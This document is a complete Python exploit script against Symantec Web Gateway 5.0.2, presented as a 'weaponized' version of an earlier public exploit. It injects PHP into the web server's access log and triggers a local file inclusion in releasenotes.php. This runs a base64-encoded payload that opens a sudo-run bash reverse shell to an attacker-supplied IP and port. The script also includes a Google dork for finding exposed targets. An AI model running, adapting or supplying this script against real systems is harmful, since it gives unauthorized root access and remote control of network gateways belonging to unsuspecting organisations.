Symantec Web Gateway 5.0.2 Remote LFI root Exploit

#!/usr/bin/env python
# Symantec Web Gateway 5.0.2 Remote LFI root Exploit
# Slightly weaponized version of Muts exploit
# See http://www.exploit-db.com/exploits/18932/ for original
# infodox - http://insecurety.net
# NOW WITH GOOGLE DORK :D
# Googledork: inurl:"spywall" intitle:"symantec Web Gateway" filetype:php
# Variations of that should be fine... There are not many indexed but still :)
# Thanks to dir\n0h for the dork :3
import base64
import socket
import sys
def banner():
    print """
    Symantec Web Gateway 5.0.2 Remote LFI root Exploit
    Original bug and exploit by muts (at) offensive-security (dot) com
    Somewhat more weaponized exploit by infodox (at) insecurety.net
    Original Exploit: http://www.exploit-db.com/exploits/18932/
    All we did was make it a bit more useable :)
    """

if len(sys.argv) != 4:
    banner()
    print "Usage: ./x2.py <target> <reverseip> <reverseport>"
    sys.exit(1)

banner()
target = sys.argv[1]
reverseip = sys.argv[2]
reverseport = sys.argv[3]
payload= '''echo '#!/bin/bash' > /tmp/networkScript; echo 'bash -i >& /dev/tcp/%s/%s 0>&1' >> /tmp/networkScript;chmod 755 /tmp/networkScript; sudo /tmp/networkScript''' %(reverseip, reverseport)
payloadencoded=base64.encodestring(payload).replace("\n","")
taint="GET /<?php shell_exec(base64_decode('%s'));?> HTTP/1.1\r\n\r\n" % payloadencoded
print "[*] Using " + target + " as our target!"
print "[*] Reverse Shell Phoning home to " + reverseip
print "[*] Better have your listener on " +reverseport

print "[+] Injecting the evil PHP shell..."
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect((target, 80))
expl.send(taint)
expl.close()

print "[+] Triggering the bug..."
trigger="GET /spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log HTTP/1.0\r\n\r\n"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect((target, 80))
expl.send(trigger)
expl.close()
print "[+] Enjoy your shell :)"